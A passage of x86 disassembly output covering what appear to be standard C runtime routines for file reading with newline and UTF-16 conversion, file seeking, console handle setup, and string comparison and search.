		mov	ebp, esp
		sub	esp, 1Ch
		mov	edx, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_0]
		push	0FFFFFFFEh
		pop	eax
		cmp	esi, eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_1C], edx
		jnz	short loc_41A5E4
		call	sub_40F7B1
		and	dword ptr [eax], 0
		call	sub_40F79E
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_41AB4E
; ---------------------------------------------------------------------------


loc_41A5E4:				; CODE XREF: sub_41A5AF+18j
		push	edi
		xor	edi, edi
		cmp	esi, edi
		jl	short loc_41A5F3
		cmp	esi, dword_424EC8
		jb	short loc_41A61A


loc_41A5F3:				; CODE XREF: sub_41A5AF+3Aj
		call	sub_40F7B1
		mov	[eax], edi
		call	sub_40F79E
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 9
		call	sub_40DCD8
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_41AB4D
; ---------------------------------------------------------------------------


loc_41A61A:				; CODE XREF: sub_41A5AF+42j
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		push	ebx
		lea	ebx, ds:424EE0h[eax*4]
		mov	eax, [ebx]
		add	eax, esi
		mov	cl, [eax+4]
		test	cl, 1
		jnz	short loc_41A650
		call	sub_40F7B1
		mov	[eax], edi
		call	sub_40F79E
		mov	dword ptr [eax], 9
		jmp	loc_41A797
; ---------------------------------------------------------------------------


loc_41A650:				; CODE XREF: sub_41A5AF+88j
		cmp	edx, edi
		mov	[ebp+var_10], edi
		jz	loc_41AB4A
		test	cl, 2
		jnz	loc_41AB4A
		mov	ecx, [ebp+arg_4]
		cmp	ecx, edi
		jz	loc_41A785
		mov	al, [eax+24h]
		add	al, al
		sar	al, 1
		mov	[ebp+var_2], al
		movsx	eax, al
		dec	eax
		jz	loc_41A77D
		dec	eax
		jnz	short loc_41A698
		mov	eax, edx
		not	eax
		test	al, 1
		jz	loc_41A785
		and	edx, 0FFFFFFFEh
		mov	[ebp+arg_8], edx


loc_41A698:				; CODE XREF: sub_41A5AF+D5j
		mov	[ebp+var_C], ecx


loc_41A69B:				; CODE XREF: sub_41A5AF+216j
		mov	ecx, [ebx]
		mov	eax, [ebp+var_C]
		lea	edi, [esi+ecx]
		test	byte ptr [edi+4], 48h
		jz	short loc_41A71F
		mov	cl, [edi+5]
		cmp	cl, 0Ah
		jz	short loc_41A71F
		xor	edx, edx
		cmp	[ebp+arg_8], edx
		jz	short loc_41A71F
		mov	[eax], cl
		mov	ecx, [ebx]
		inc	eax
		dec	[ebp+arg_8]
		cmp	[ebp+var_2], dl
		mov	[ebp+var_10], 1
		mov	byte ptr [esi+ecx+5], 0Ah
		jz	short loc_41A71F
		mov	ecx, [ebx]
		mov	cl, [esi+ecx+25h]
		cmp	cl, 0Ah
		jz	short loc_41A71F
		cmp	[ebp+arg_8], edx
		jz	short loc_41A71F
		mov	[eax], cl
		mov	ecx, [ebx]
		inc	eax
		dec	[ebp+arg_8]
		cmp	[ebp+var_2], 1
		mov	[ebp+var_10], 2
		mov	byte ptr [esi+ecx+25h],	0Ah
		jnz	short loc_41A71F
		mov	ecx, [ebx]
		mov	cl, [esi+ecx+26h]
		cmp	cl, 0Ah
		jz	short loc_41A71F
		cmp	[ebp+arg_8], edx
		jz	short loc_41A71F
		mov	[eax], cl
		mov	ecx, [ebx]
		inc	eax
		dec	[ebp+arg_8]
		mov	[ebp+var_10], 3
		mov	byte ptr [esi+ecx+26h],	0Ah


loc_41A71F:				; CODE XREF: sub_41A5AF+F8j
					; sub_41A5AF+100j ...
		push	0
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [esi+eax]
		call	dword_41C0FC	; ReadFile
		test	eax, eax
		jz	loc_41AB14
		mov	edi, [ebp+var_18]
		test	edi, edi
		jl	loc_41AB14
		cmp	edi, [ebp+arg_8]
		ja	loc_41AB14
		mov	eax, [ebx]
		add	[ebp+var_10], edi
		lea	eax, [esi+eax+4]
		test	byte ptr [eax],	80h
		jz	loc_41A9B4
		cmp	[ebp+var_2], 2
		jz	loc_41A9DE
		test	edi, edi
		jz	short loc_41A7E9
		mov	ecx, [ebp+var_C]
		cmp	byte ptr [ecx],	0Ah
		jnz	short loc_41A7E9
		or	byte ptr [eax],	4
		jmp	short loc_41A7EC
; ---------------------------------------------------------------------------


loc_41A77D:				; CODE XREF: sub_41A5AF+CEj
		mov	eax, edx
		not	eax
		test	al, 1
		jnz	short loc_41A7A6


loc_41A785:				; CODE XREF: sub_41A5AF+BAj
					; sub_41A5AF+DDj
		call	sub_40F7B1
		mov	[eax], edi
		call	sub_40F79E
		mov	dword ptr [eax], 16h


loc_41A797:				; CODE XREF: sub_41A5AF+9Cj
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40DCD8
		add	esp, 14h
		jmp	short loc_41A7E1
; ---------------------------------------------------------------------------


loc_41A7A6:				; CODE XREF: sub_41A5AF+1D4j
		mov	eax, edx
		push	4
		pop	ecx
		shr	eax, 1
		cmp	eax, ecx
		mov	[ebp+arg_8], ecx
		jb	short loc_41A7B7
		mov	[ebp+arg_8], eax


loc_41A7B7:				; CODE XREF: sub_41A5AF+203j
		push	[ebp+arg_8]
		call	sub_412323
		cmp	eax, edi
		pop	ecx
		mov	[ebp+var_C], eax
		jnz	loc_41A69B
		call	sub_40F79E
		mov	dword ptr [eax], 0Ch
		call	sub_40F7B1
		mov	dword ptr [eax], 8


loc_41A7E1:				; CODE XREF: sub_41A5AF+1F5j
		or	eax, 0FFFFFFFFh
		jmp	loc_41AB4C
; ---------------------------------------------------------------------------


loc_41A7E9:				; CODE XREF: sub_41A5AF+1BFj
					; sub_41A5AF+1C7j
		and	byte ptr [eax],	0FBh


loc_41A7EC:				; CODE XREF: sub_41A5AF+1CCj
		mov	edi, [ebp+var_C]
		mov	eax, [ebp+var_10]
		add	eax, edi
		cmp	edi, eax
		mov	[ebp+arg_8], edi
		mov	[ebp+var_10], eax
		jnb	loc_41A8D2


loc_41A802:				; CODE XREF: sub_41A5AF+306j
		mov	ecx, [ebp+arg_8]
		mov	al, [ecx]
		cmp	al, 1Ah
		jz	loc_41A8BD
		cmp	al, 0Dh
		jz	short loc_41A81F
		mov	[edi], al
		inc	edi
		inc	ecx
		mov	[ebp+arg_8], ecx
		jmp	loc_41A8AF
; ---------------------------------------------------------------------------


loc_41A81F:				; CODE XREF: sub_41A5AF+262j
		mov	eax, [ebp+var_10]
		dec	eax
		cmp	ecx, eax
		jnb	short loc_41A83E
		lea	eax, [ecx+1]
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41A839
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx


loc_41A834:				; CODE XREF: sub_41A5AF+2CAj
					; sub_41A5AF+2E3j
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41A8AE
; ---------------------------------------------------------------------------


loc_41A839:				; CODE XREF: sub_41A5AF+27Ej
		mov	[ebp+arg_8], eax
		jmp	short loc_41A8AB
; ---------------------------------------------------------------------------


loc_41A83E:				; CODE XREF: sub_41A5AF+276j
		inc	[ebp+arg_8]
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [esi+eax]
		call	dword_41C0FC	; ReadFile
		test	eax, eax
		jnz	short loc_41A866
		call	dword_41C0A4	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41A8AB


loc_41A866:				; CODE XREF: sub_41A5AF+2ABj
		cmp	[ebp+var_18], 0
		jz	short loc_41A8AB
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 48h
		jz	short loc_41A889
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41A834
		mov	byte ptr [edi],	0Dh
		mov	eax, [ebx]
		mov	cl, [ebp+var_1]
		mov	[esi+eax+5], cl
		jmp	short loc_41A8AE
; ---------------------------------------------------------------------------


loc_41A889:				; CODE XREF: sub_41A5AF+2C4j
		cmp	edi, [ebp+var_C]
		jnz	short loc_41A894
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41A834


loc_41A894:				; CODE XREF: sub_41A5AF+2DDj
		push	1
		push	0FFFFFFFFh
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_4178D6
		add	esp, 10h
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41A8AF


loc_41A8AB:				; CODE XREF: sub_41A5AF+28Dj
					; sub_41A5AF+2B5j ...
		mov	byte ptr [edi],	0Dh


loc_41A8AE:				; CODE XREF: sub_41A5AF+288j
					; sub_41A5AF+2D8j
		inc	edi


loc_41A8AF:				; CODE XREF: sub_41A5AF+26Bj
					; sub_41A5AF+2FAj
		mov	eax, [ebp+var_10]
		cmp	[ebp+arg_8], eax
		jb	loc_41A802
		jmp	short loc_41A8D2
; ---------------------------------------------------------------------------


loc_41A8BD:				; CODE XREF: sub_41A5AF+25Aj
		mov	eax, [ebx]
		lea	eax, [esi+eax+4]
		test	byte ptr [eax],	40h
		jnz	short loc_41A8CD
		or	byte ptr [eax],	2
		jmp	short loc_41A8D2
; ---------------------------------------------------------------------------


loc_41A8CD:				; CODE XREF: sub_41A5AF+317j
		mov	al, [ecx]
		mov	[edi], al
		inc	edi


loc_41A8D2:				; CODE XREF: sub_41A5AF+24Dj
					; sub_41A5AF+30Cj ...
		mov	eax, edi
		sub	eax, [ebp+var_C]
		cmp	[ebp+var_2], 1
		mov	[ebp+var_10], eax
		jnz	loc_41A9B4
		test	eax, eax
		jz	loc_41A9B4
		dec	edi
		mov	cl, [edi]
		test	cl, cl
		js	short loc_41A8F9
		inc	edi
		jmp	loc_41A97F
; ---------------------------------------------------------------------------


loc_41A8F9:				; CODE XREF: sub_41A5AF+342j
		xor	eax, eax
		inc	eax
		movzx	ecx, cl
		jmp	short loc_41A910
; ---------------------------------------------------------------------------


loc_41A901:				; CODE XREF: sub_41A5AF+368j
		cmp	eax, 4
		jg	short loc_41A919
		cmp	edi, [ebp+var_C]
		jb	short loc_41A919
		dec	edi
		movzx	ecx, byte ptr [edi]
		inc	eax


loc_41A910:				; CODE XREF: sub_41A5AF+350j
		cmp	byte_424060[ecx], 0
		jz	short loc_41A901


loc_41A919:				; CODE XREF: sub_41A5AF+355j
					; sub_41A5AF+35Aj
		mov	dl, [edi]
		movzx	ecx, dl
		movsx	ecx, byte_424060[ecx]
		test	ecx, ecx
		jnz	short loc_41A936
		call	sub_40F79E
		mov	dword ptr [eax], 2Ah
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41A936:				; CODE XREF: sub_41A5AF+378j
		inc	ecx
		cmp	ecx, eax
		jnz	short loc_41A93F
		add	edi, eax
		jmp	short loc_41A97F
; ---------------------------------------------------------------------------


loc_41A93F:				; CODE XREF: sub_41A5AF+38Aj
		mov	ecx, [ebx]
		add	ecx, esi
		test	byte ptr [ecx+4], 48h
		jz	short loc_41A96D
		inc	edi
		cmp	eax, 2
		mov	[ecx+5], dl
		jl	short loc_41A95B
		mov	dl, [edi]
		mov	ecx, [ebx]
		mov	[esi+ecx+25h], dl
		inc	edi


loc_41A95B:				; CODE XREF: sub_41A5AF+3A1j
		cmp	eax, 3
		jnz	short loc_41A969
		mov	dl, [edi]
		mov	ecx, [ebx]
		mov	[esi+ecx+26h], dl
		inc	edi


loc_41A969:				; CODE XREF: sub_41A5AF+3AFj
		sub	edi, eax
		jmp	short loc_41A97F
; ---------------------------------------------------------------------------


loc_41A96D:				; CODE XREF: sub_41A5AF+398j
		neg	eax
		cdq
		push	1
		push	edx
		push	eax
		push	[ebp+arg_0]
		call	sub_4178D6
		add	esp, 10h


loc_41A97F:				; CODE XREF: sub_41A5AF+345j
					; sub_41A5AF+38Ej ...
		mov	eax, [ebp+var_1C]
		sub	edi, [ebp+var_C]
		shr	eax, 1
		push	eax
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_C]
		push	0
		push	0FDE9h
		call	dword_41C174	; MultiByteToWideChar
		test	eax, eax
		mov	[ebp+var_10], eax
		jnz	short loc_41A9D7
		call	dword_41C0A4	; RtlGetLastWin32Error


loc_41A9A9:				; CODE XREF: sub_41A5AF+58Cj
		push	eax
		call	sub_40F7C4
		pop	ecx


loc_41A9B0:				; CODE XREF: sub_41A5AF+385j
					; sub_41A5AF+584j
		or	[ebp+var_14], 0FFFFFFFFh


loc_41A9B4:				; CODE XREF: sub_41A5AF+1ADj
					; sub_41A5AF+32Fj ...
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jz	short loc_41A9C3
		push	eax
		call	sub_41112C
		pop	ecx


loc_41A9C3:				; CODE XREF: sub_41A5AF+40Bj
		mov	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFEh
		jnz	loc_41AB4C
		mov	eax, [ebp+var_10]
		jmp	loc_41AB4C
; ---------------------------------------------------------------------------


loc_41A9D7:				; CODE XREF: sub_41A5AF+3F2j
		add	eax, eax
		mov	[ebp+var_10], eax
		jmp	short loc_41A9B4
; ---------------------------------------------------------------------------


loc_41A9DE:				; CODE XREF: sub_41A5AF+1B7j
		test	edi, edi
		jz	short loc_41A9F0
		mov	ecx, [ebp+var_C]
		cmp	word ptr [ecx],	0Ah
		jnz	short loc_41A9F0
		or	byte ptr [eax],	4
		jmp	short loc_41A9F3
; ---------------------------------------------------------------------------


loc_41A9F0:				; CODE XREF: sub_41A5AF+431j
					; sub_41A5AF+43Aj
		and	byte ptr [eax],	0FBh


loc_41A9F3:				; CODE XREF: sub_41A5AF+43Fj
		mov	edi, [ebp+var_C]
		mov	eax, [ebp+var_10]
		add	eax, edi
		cmp	edi, eax
		mov	[ebp+arg_8], edi
		mov	[ebp+var_10], eax
		jnb	loc_41AB09


loc_41AA09:				; CODE XREF: sub_41A5AF+53Aj
		mov	eax, [ebp+arg_8]
		movzx	ecx, word ptr [eax]
		cmp	cx, 1Ah
		jz	loc_41AAF1
		cmp	cx, 0Dh
		jz	short loc_41AA2E
		mov	[edi], cx
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		mov	[ebp+arg_8], eax
		jmp	loc_41AAE3
; ---------------------------------------------------------------------------


loc_41AA2E:				; CODE XREF: sub_41A5AF+46Ej
		mov	ecx, [ebp+var_10]
		add	ecx, 0FFFFFFFEh
		cmp	eax, ecx
		jnb	short loc_41AA59
		lea	ecx, [eax+2]
		cmp	word ptr [ecx],	0Ah
		jnz	short loc_41AA51
		add	eax, 4
		mov	[ebp+arg_8], eax


loc_41AA47:				; CODE XREF: sub_41A5AF+4E7j
					; sub_41A5AF+513j
		mov	word ptr [edi],	0Ah
		jmp	loc_41AAE1
; ---------------------------------------------------------------------------


loc_41AA51:				; CODE XREF: sub_41A5AF+490j
		mov	[ebp+arg_8], ecx
		jmp	loc_41AADC
; ---------------------------------------------------------------------------


loc_41AA59:				; CODE XREF: sub_41A5AF+487j
		add	[ebp+arg_8], 2
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	2
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [esi+eax]
		call	dword_41C0FC	; ReadFile
		test	eax, eax
		jnz	short loc_41AA82
		call	dword_41C0A4	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41AADC


loc_41AA82:				; CODE XREF: sub_41A5AF+4C7j
		cmp	[ebp+var_18], 0
		jz	short loc_41AADC
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 48h
		jz	short loc_41AAB8
		cmp	[ebp+var_8], 0Ah
		jz	short loc_41AA47
		mov	word ptr [edi],	0Dh
		mov	eax, [ebx]
		mov	cl, byte ptr [ebp+var_8]
		mov	[esi+eax+5], cl
		mov	eax, [ebx]
		mov	cl, byte ptr [ebp+var_8+1]
		mov	[esi+eax+25h], cl
		mov	eax, [ebx]
		mov	byte ptr [esi+eax+26h],	0Ah
		jmp	short loc_41AAE1
; ---------------------------------------------------------------------------


loc_41AAB8:				; CODE XREF: sub_41A5AF+4E0j
		cmp	edi, [ebp+var_C]
		jnz	short loc_41AAC4
		cmp	[ebp+var_8], 0Ah
		jz	short loc_41AA47


loc_41AAC4:				; CODE XREF: sub_41A5AF+50Cj
		push	1
		push	0FFFFFFFFh
		push	0FFFFFFFEh
		push	[ebp+arg_0]
		call	sub_4178D6
		add	esp, 10h
		cmp	[ebp+var_8], 0Ah
		jz	short loc_41AAE3


loc_41AADC:				; CODE XREF: sub_41A5AF+4A5j
					; sub_41A5AF+4D1j ...
		mov	word ptr [edi],	0Dh


loc_41AAE1:				; CODE XREF: sub_41A5AF+49Dj
					; sub_41A5AF+507j
		inc	edi
		inc	edi


loc_41AAE3:				; CODE XREF: sub_41A5AF+47Aj
					; sub_41A5AF+52Bj
		mov	eax, [ebp+var_10]
		cmp	[ebp+arg_8], eax
		jb	loc_41AA09
		jmp	short loc_41AB09
; ---------------------------------------------------------------------------


loc_41AAF1:				; CODE XREF: sub_41A5AF+464j
		mov	ecx, [ebx]
		lea	esi, [esi+ecx+4]
		test	byte ptr [esi],	40h
		jnz	short loc_41AB01
		or	byte ptr [esi],	2
		jmp	short loc_41AB09
; ---------------------------------------------------------------------------


loc_41AB01:				; CODE XREF: sub_41A5AF+54Bj
		mov	ax, [eax]
		mov	[edi], ax
		inc	edi
		inc	edi


loc_41AB09:				; CODE XREF: sub_41A5AF+454j
					; sub_41A5AF+540j ...
		sub	edi, [ebp+var_C]
		mov	[ebp+var_10], edi
		jmp	loc_41A9B4
; ---------------------------------------------------------------------------


loc_41AB14:				; CODE XREF: sub_41A5AF+187j
					; sub_41A5AF+192j ...
		call	dword_41C0A4	; RtlGetLastWin32Error
		push	5
		pop	esi
		cmp	eax, esi
		jnz	short loc_41AB38
		call	sub_40F79E
		mov	dword ptr [eax], 9
		call	sub_40F7B1
		mov	[eax], esi
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AB38:				; CODE XREF: sub_41A5AF+570j
		cmp	eax, 6Dh
		jnz	loc_41A9A9
		and	[ebp+var_14], 0
		jmp	loc_41A9B4
; ---------------------------------------------------------------------------


loc_41AB4A:				; CODE XREF: sub_41A5AF+A6j
					; sub_41A5AF+AFj
		xor	eax, eax


loc_41AB4C:				; CODE XREF: sub_41A5AF+235j
					; sub_41A5AF+41Aj ...
		pop	ebx


loc_41AB4D:				; CODE XREF: sub_41A5AF+66j
		pop	edi


loc_41AB4E:				; CODE XREF: sub_41A5AF+30j
		pop	esi
		leave
		retn
sub_41A5AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB51	proc near		; CODE XREF: sub_418D2B+322p
					; sub_418D2B+37Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_419E05
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41AB72
		call	sub_40F79E
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41AB72:				; CODE XREF: sub_41AB51+Fj
		push	edi
		push	[esp+8+arg_8]
		push	0
		push	[esp+10h+arg_4]
		push	eax
		call	dword_41C048	; SetFilePointer
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_41AB93
		call	dword_41C0A4	; RtlGetLastWin32Error
		jmp	short loc_41AB95
; ---------------------------------------------------------------------------


loc_41AB93:				; CODE XREF: sub_41AB51+38j
		xor	eax, eax


loc_41AB95:				; CODE XREF: sub_41AB51+40j
		test	eax, eax
		jz	short loc_41ABA5
		push	eax
		call	sub_40F7C4
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_41ABC0
; ---------------------------------------------------------------------------


loc_41ABA5:				; CODE XREF: sub_41AB51+46j
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_424EE0[eax*4]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FDh
		mov	eax, edi


loc_41ABC0:				; CODE XREF: sub_41AB51+52j
		pop	edi
		pop	esi
		retn
sub_41AB51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABC3	proc near		; CODE XREF: sub_41A3FB+9Ap
					; sub_41A3FB+DEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, edx
		sar	eax, 5
		and	edx, 1Fh
		imul	edx, 28h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		lea	esi, ds:424EE0h[eax*4]
		mov	eax, [esi]
		lea	ecx, [eax+edx]
		movzx	eax, byte ptr [ecx+4]
		and	eax, 80h
		mov	[ebp+arg_0], eax
		mov	al, [ecx+24h]
		add	al, al
		movsx	eax, al
		push	edi
		mov	edi, 4000h
		sar	eax, 1
		cmp	ebx, edi
		jz	short loc_41AC55
		cmp	ebx, 8000h
		jz	short loc_41AC4F
		cmp	ebx, 10000h
		jz	short loc_41AC3B
		cmp	ebx, 20000h
		jz	short loc_41AC3B
		cmp	ebx, 40000h
		jnz	short loc_41AC62
		or	byte ptr [ecx+4], 80h
		mov	ecx, [esi]
		lea	ecx, [ecx+edx+24h]
		mov	dl, [ecx]
		and	dl, 81h
		or	dl, 1


loc_41AC37:				; CODE XREF: sub_41ABC3+8Aj
		mov	[ecx], dl
		jmp	short loc_41AC62
; ---------------------------------------------------------------------------


loc_41AC3B:				; CODE XREF: sub_41ABC3+50j
					; sub_41ABC3+58j
		or	byte ptr [ecx+4], 80h
		mov	ecx, [esi]
		lea	ecx, [ecx+edx+24h]
		mov	dl, [ecx]
		and	dl, 82h
		or	dl, 2
		jmp	short loc_41AC37
; ---------------------------------------------------------------------------


loc_41AC4F:				; CODE XREF: sub_41ABC3+48j
		and	byte ptr [ecx+4], 7Fh
		jmp	short loc_41AC62
; ---------------------------------------------------------------------------


loc_41AC55:				; CODE XREF: sub_41ABC3+40j
		or	byte ptr [ecx+4], 80h
		mov	ecx, [esi]
		lea	ecx, [ecx+edx+24h]
		and	byte ptr [ecx],	80h


loc_41AC62:				; CODE XREF: sub_41ABC3+60j
					; sub_41ABC3+76j ...
		cmp	[ebp+arg_0], 0
		jnz	short loc_41AC6F
		mov	eax, 8000h
		jmp	short loc_41AC7A
; ---------------------------------------------------------------------------


loc_41AC6F:				; CODE XREF: sub_41ABC3+A3j
		neg	eax
		sbb	eax, eax
		and	eax, 0C000h
		add	eax, edi


loc_41AC7A:				; CODE XREF: sub_41ABC3+AAj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41ABC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AC7F	proc near		; CODE XREF: sub_418D2B+40p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_41ACA7
		call	sub_40F79E
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		push	16h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41ACA7:				; CODE XREF: sub_41AC7F+9j
		mov	ecx, dword_424E50
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
sub_41AC7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ACB3	proc near		; CODE XREF: sub_419B1B+24p
		xor	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	3
		push	40000000h
		push	offset aConout	; "CONOUT$"
		call	dword_41C034	; CreateFileA
		mov	dword_424164, eax
		retn
sub_41ACB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ACD2	proc near		; DATA XREF: .vty:0041C24Co
		mov	eax, dword_424164
		cmp	eax, 0FFFFFFFFh
		push	esi
		mov	esi, dword_41C0D4
		jz	short loc_41ACEB
		cmp	eax, 0FFFFFFFEh
		jz	short loc_41ACEB
		push	eax
		call	esi	; CloseHandle


loc_41ACEB:				; CODE XREF: sub_41ACD2+Fj
					; sub_41ACD2+14j
		mov	eax, dword_424160
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ACFD
		cmp	eax, 0FFFFFFFEh
		jz	short loc_41ACFD
		push	eax
		call	esi	; CloseHandle


loc_41ACFD:				; CODE XREF: sub_41ACD2+21j
					; sub_41ACD2+26j
		pop	esi
		retn
sub_41ACD2	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+10h]
		or	ecx, ecx
		jz	short loc_41AD5A
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]


loc_41AD1C:				; CODE XREF: .vty:0041AD49j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_41AD4B
		or	al, al
		jz	short loc_41AD4B
		add	esi, 1
		add	edi, 1
		cmp	ah, bh
		jb	short loc_41AD38
		cmp	ah, bl
		ja	short loc_41AD38
		add	ah, dh


loc_41AD38:				; CODE XREF: .vty:0041AD30j
					; .vty:0041AD34j
		cmp	al, bh
		jb	short loc_41AD42
		cmp	al, bl
		ja	short loc_41AD42
		add	al, dh


loc_41AD42:				; CODE XREF: .vty:0041AD3Aj
					; .vty:0041AD3Ej
		cmp	ah, al
		jnz	short loc_41AD51
		sub	ecx, 1
		jnz	short loc_41AD1C


loc_41AD4B:				; CODE XREF: .vty:0041AD22j
					; .vty:0041AD26j
		xor	ecx, ecx
		cmp	ah, al
		jz	short loc_41AD5A


loc_41AD51:				; CODE XREF: .vty:0041AD44j
		mov	ecx, 0FFFFFFFFh
		jb	short loc_41AD5A
		neg	ecx


loc_41AD5A:				; CODE XREF: .vty:0041AD0Bj
					; .vty:0041AD4Fj ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41AD70:				; CODE XREF: .vty:0041AD9Fj
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h
		xor	eax, eax
		mov	al, [esp+8]
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+8]
		test	edx, 3
		jz	short loc_41ADAD


loc_41AD98:				; CODE XREF: .vty:0041ADABj
		mov	cl, [edx]
		add	edx, 1
		cmp	cl, bl
		jz	short loc_41AD70
		test	cl, cl
		jz	short loc_41ADF6
		test	edx, 3
		jnz	short loc_41AD98


loc_41ADAD:				; CODE XREF: .vty:0041AD96j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41ADB8:				; CODE XREF: .vty:0041ADE3j
					; .vty:0041ADF2j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41ADFA
		and	eax, 81010100h
		jz	short loc_41ADB8
		and	eax, 1010100h
		jnz	short loc_41ADF4
		and	esi, 80000000h
		jnz	short loc_41ADB8


loc_41ADF4:				; CODE XREF: .vty:0041ADEAj
					; .vty:0041AE03j ...
		pop	esi
		pop	edi


loc_41ADF6:				; CODE XREF: .vty:0041ADA3j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41ADFA:				; CODE XREF: .vty:0041ADDCj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41AE37
		test	al, al
		jz	short loc_41ADF4
		cmp	ah, bl
		jz	short loc_41AE30
		test	ah, ah
		jz	short loc_41ADF4
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41AE29
		test	al, al
		jz	short loc_41ADF4
		cmp	ah, bl
		jz	short loc_41AE22
		test	ah, ah
		jz	short loc_41ADF4
		jmp	short loc_41ADB8
; ---------------------------------------------------------------------------


loc_41AE22:				; CODE XREF: .vty:0041AE1Aj
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41AE29:				; CODE XREF: .vty:0041AE12j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41AE30:				; CODE XREF: .vty:0041AE07j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41AE37:				; CODE XREF: .vty:0041ADFFj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41AE3E	proc near		; CODE XREF: sub_41083D+24p
					; sub_4140EA+10p ...
		jmp	dword_41C13C
sub_41AE3E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AE44	proc near		; CODE XREF: sub_4015DE+5p
					; sub_401869+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41AE44	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


